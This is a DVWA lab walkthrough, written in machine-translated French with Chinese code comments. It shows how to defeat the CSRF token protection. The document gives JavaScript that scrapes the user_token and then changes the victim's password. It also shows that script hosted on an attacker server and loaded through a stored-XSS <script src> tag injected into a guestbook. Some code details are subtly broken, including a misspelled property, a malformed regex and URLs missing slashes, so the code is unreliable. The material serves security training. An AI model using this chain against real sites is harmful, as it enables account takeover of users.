(1) Visitez la page CSRF et vous pourrez voir le jeton généré dans le code source de la page.
<form action="#" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='9eed4c773cd578ed263facc427c1fb78' />
</form>
(2) La valeur du jeton a changé lorsque vous visitez à nouveau la page CSRF. Il peut être déterminé que le mécanisme permettant à DVWA de générer le jeton est différent à chaque fois/
(3) L'essentiel du passage du dédouanement est d'envoyer une demande à
http://192.168.112.188/dvwa/vulnerabilities/csrf/
page, puis obtenez le Token de la réponse (extrait via des expressions régulières). Après l'avoir obtenu, envoyez le Token et le nouveau secret à
http:192.168.112.188/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
La page termine le changement de mot de passe
(4) Construisez d'abord un code natif Javascript pour envoyer le code de requête AJAX
var tokenUrl='http://192.168.112.188/dvwa/vulnerabilities/csrf/';
var count = 0;
//实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
//当请求状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function(){
//状态码0:请求未初始化,1:服务器连接已建立,2请求已接收,3请求处理中,4请求已完成,且相应已就绪
if(xmlhttp.readyState == 4&&xmlhttp.status == 200)
{
//取得请求的响应,并从响应中通过正则提取Token
var text = xmlhttp.responesText;
var regex = /user_token\'value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
//alert(match[1]);
var token = match[1];
//发送修改密码的语法
var changeUrl='http:192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+token+'& password_new=123456&password_conf=123456&Change=Change';
if(count == 0){
count = 1; //只发送一次,否则会多次发送
xmlhttp.open("GET",changeUrl,false); //false代表同步方式发送
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
Placez le code ci-dessus sur le serveur d'attaque
Trouvez simplement un moyen d'intégrer le code JS ci-dessus dans le serveur de l'attaquant. (Un niveau élevé ne peut pas être atteint)
<script src="http://192.168.112.183/csrf.js"></script>
Au niveau haut, la balise <script> est bloquée, elle ne peut donc pas être utilisée directement.
Méthode de traitement : passez d'abord au niveau bas, injectez le script suivant dans le livre d'or, puis passez au niveau haut pour déclencher directement le changement de mot de passe.
<script src="http://192.168.112.183/csrf.js"></script>